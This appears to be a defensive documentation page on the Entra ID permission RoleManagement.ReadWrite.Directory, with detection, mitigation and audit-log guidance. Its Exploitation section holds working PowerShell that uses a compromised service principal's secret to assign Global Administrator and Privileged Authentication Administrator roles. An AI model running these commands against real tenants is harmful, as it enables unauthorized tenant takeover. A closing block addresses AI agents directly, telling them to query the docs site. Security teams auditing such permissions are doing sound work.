# AZ\_MG\_ROLEMANAGEMENT\_READWRITE\_DIRECTORY

## Summary

|                               |                                                            |
| ----------------------------- | ---------------------------------------------------------- |
| **FSProtect ACL Alias**       | AZ\_MG\_ROLEMANAGEMENT\_READWRITE\_DIRECTORY               |
| **Entra ID (Azure AD) Alias** | RoleManagement.ReadWrite.Directory                         |
| **Affected Object Types**     | Service Principals, Applications                           |
| **Exploitation Certainty**    | Certain                                                    |
| **Graph Permission / Role**   | Application Permission: RoleManagement.ReadWrite.Directory |

## Description

`AZ_MG_ROLEMANAGEMENT_READWRITE_DIRECTORY` represents a Microsoft Graph application permission that grants **read and write access to Microsoft Entra ID role-based access control (RBAC) settings**. This is one of the most dangerous permissions in Microsoft Entra ID because it allows:

* **Read all directory role templates and definitions** including built-in and custom roles
* **Create, update, and delete custom role definitions**
* **Assign directory roles to users, groups, and service principals**
* **Remove directory role assignments from any principal**
* **Manage Privileged Identity Management (PIM) settings for Microsoft Entra roles**
* **Read and modify role eligibility and active assignments**

This permission is often abused for:

* **Privilege escalation to Global Administrator**: Directly assigning the Global Administrator role to an attacker-controlled account
* **Persistence**: Creating hidden administrative accounts with directory roles
* **Defense evasion**: Removing security team members from security roles
* **Lateral movement**: Granting administrative roles to compromised accounts

**Important**: This is an **application permission** that requires admin consent and is granted to service principals, not individual users. Once granted, the service principal can perform these actions without additional user context.

**Critical Warning**: With `RoleManagement.ReadWrite.Directory`, an application can grant itself or any other principal the **Global Administrator** role, effectively achieving full control over the entire Microsoft Entra ID tenant. This is equivalent to a complete tenant takeover.

**Key Difference from Directory.ReadWrite.All**: While `Directory.ReadWrite.All` allows broad directory object manipulation, it has limitations on role assignments. `RoleManagement.ReadWrite.Directory` is specifically designed for RBAC management and can directly assign any directory role without restrictions.

## Identification

### PowerShell

#### Find Service Principals with RoleManagement.ReadWrite.Directory

```powershell
Install-Module Microsoft.Graph -Scope CurrentUser
Import-Module Microsoft.Graph.Applications

Connect-MgGraph -Scopes "Application.Read.All", "AppRoleAssignment.Read.All"

$permissionId = "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8"  # RoleManagement.ReadWrite.Directory GUID

# Step 1: Get all service principals with their app role assignments
$allServicePrincipals = Get-MgServicePrincipal -All -Property Id, DisplayName, AppId

Write-Host "Retrieved $($allServicePrincipals.Count) service principals"

# Step 2: Filter for those with RoleManagement.ReadWrite.Directory
$results = @()

foreach ($sp in $allServicePrincipals) {
    $appRoleAssignments = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id -All
    $matchingAssignments = $appRoleAssignments | Where-Object { $_.AppRoleId -eq $permissionId }
    
    foreach ($assignment in $matchingAssignments) {
        $results += [PSCustomObject]@{
            ServicePrincipalName = $sp.DisplayName
            ServicePrincipalId   = $sp.Id
            AppId                = $sp.AppId
            PermissionName       = "RoleManagement.ReadWrite.Directory"
            PermissionId         = $permissionId
            ResourceId           = $assignment.ResourceId
            AssignedDateTime     = $assignment.CreatedDateTime
        }
    }
}

Write-Host "`nFound $($results.Count) service principals with RoleManagement.ReadWrite.Directory"
$results | Export-Csv -Path ".\RoleManagementReadWriteDirectory_ServicePrincipals.csv" -NoTypeInformation -Encoding UTF8
$results | Format-Table -AutoSize
```

## Exploitation

An attacker with access to a service principal that has `RoleManagement.ReadWrite.Directory` can directly assign any directory role to any principal, including Global Administrator.

### Assign Global Administrator Role to Attacker User

```powershell
# Authenticate as the compromised service principal
$tenantId = "<tenant-id>"
$appId = "<compromised-app-id>"
$clientSecret = "<client-secret>"

$secureSecret = ConvertTo-SecureString $clientSecret -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($appId, $secureSecret)
Connect-MgGraph -ClientSecretCredential $credential -TenantId $tenantId

# Get the Global Administrator role definition
# Global Administrator roleTemplateId: 62e90394-69f5-4237-9190-012177145e10
$globalAdminRoleId = "62e90394-69f5-4237-9190-012177145e10"

# Target user object ID
$userId = "<target-user-object-id>"

# Assign Global Administrator role to the user
$params = @{
    RoleDefinitionId = $globalAdminRoleId
    PrincipalId      = $userId
    DirectoryScopeId = "/"
}

$assignment = New-MgRoleManagementDirectoryRoleAssignment -BodyParameter $params
Write-Output "Role assignment created: $($assignment.Id)"
```

![Global Administrator role](/files/V6bxDsflZlmusB1CVfkQ)

### Assign Privileged Authentication Administrator to Service Principal

```powershell
Import-Module Microsoft.Graph.Identity.Governance

# Privileged Authentication Administrator can reset passwords for any user including Global Admins
$privAuthAdminRoleId = "7be44c8a-adaf-4e2a-84d6-ab2649e08a13"

# Target service principal object ID
$spId = "<target-sp-object-id>"

# Assign Privileged Authentication Administrator role
$params = @{
    RoleDefinitionId = $privAuthAdminRoleId
    PrincipalId      = $spId
    DirectoryScopeId = "/"
}

$assignment = New-MgRoleManagementDirectoryRoleAssignment -BodyParameter $params
Write-Output "Role assignment created: $($assignment.Id)"
```

![Role Assigment to service prinicable name](/files/0tNlkIfofpx8k6J38c1f)

## Mitigation

* **Audit all service principals** with `RoleManagement.ReadWrite.Directory` and remove unnecessary grants.
  * Go to **Microsoft Entra ID** -> **App registrations** -> select the application -> **API permissions**.
  * Remove the `RoleManagement.ReadWrite.Directory` permission if not required.
* **Apply least privilege**: This permission should almost never be granted to applications.
  * Consider using PIM for just-in-time role assignments instead of permanent application permissions.
  * Use delegated permissions with user context when possible.
* **Monitor role assignment changes**:
  * Enable Azure AD audit logs and alert on role assignment changes.
  * Configure Microsoft Defender for Cloud Apps to detect suspicious role modifications.
* **Protect the permission grant process**:
  * Require multiple approvals for granting this permission.
  * Document business justification for any application requiring this permission.
* **Implement Access Reviews** for applications with high-privilege permissions:
  * Go to **Identity Governance** -> **Access Reviews** -> **New access review**.
  * Review applications with sensitive Graph permissions regularly.
* **Use Conditional Access** to restrict service principal access:
  * Limit the locations and conditions under which service principals can authenticate.
  * Consider blocking service principals with this permission from non-trusted locations.

## Detection

Detect permission grants and suspicious role assignment activity in **Audit logs**.

* Go to **Microsoft Entra ID** -> **Audit logs**.
* Filter by activities:
  * **Add app role assignment to service principal** (permission grant)
  * **Add member to role** (directory role assignment)
  * **Remove member from role** (directory role removal)
  * **Add role definition** (custom role creation)

Monitor for suspicious patterns:

* Role assignments made by service principals (especially to sensitive roles like Global Administrator)
* Bulk role assignment changes
* Role assignments outside of change management windows
* Custom role creation with password reset or role management permissions
* Removal of security-related roles from SOC or security team members

## References

* [Microsoft Graph Permissions Reference - RoleManagement.ReadWrite.Directory](https://learn.microsoft.com/en-us/graph/permissions-reference#rolemanagementreadwritedirectory)
* [Microsoft Graph API - Create unifiedRoleAssignment](https://learn.microsoft.com/en-us/graph/api/rbacapplication-post-roleassignments)
* [Microsoft Graph API - Role Management](https://learn.microsoft.com/en-us/graph/api/resources/rolemanagement)
* [Microsoft Entra Built-in Roles](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference)
* [Privileged Identity Management for Microsoft Entra Roles](https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-configure)
* [Securing workload identities with Microsoft Entra ID](https://learn.microsoft.com/en-us/entra/workload-id/workload-identities-overview)
* [BloodHound - AZMGRoleManagement\_ReadWrite\_Directory](https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html)
* [ROADtools - Azure AD Exploration Framework](https://github.com/dirkjanm/ROADtools)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.forestall.io/fsprotect/edges/azure/az_mg_rolemanagement_readwrite_directory.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
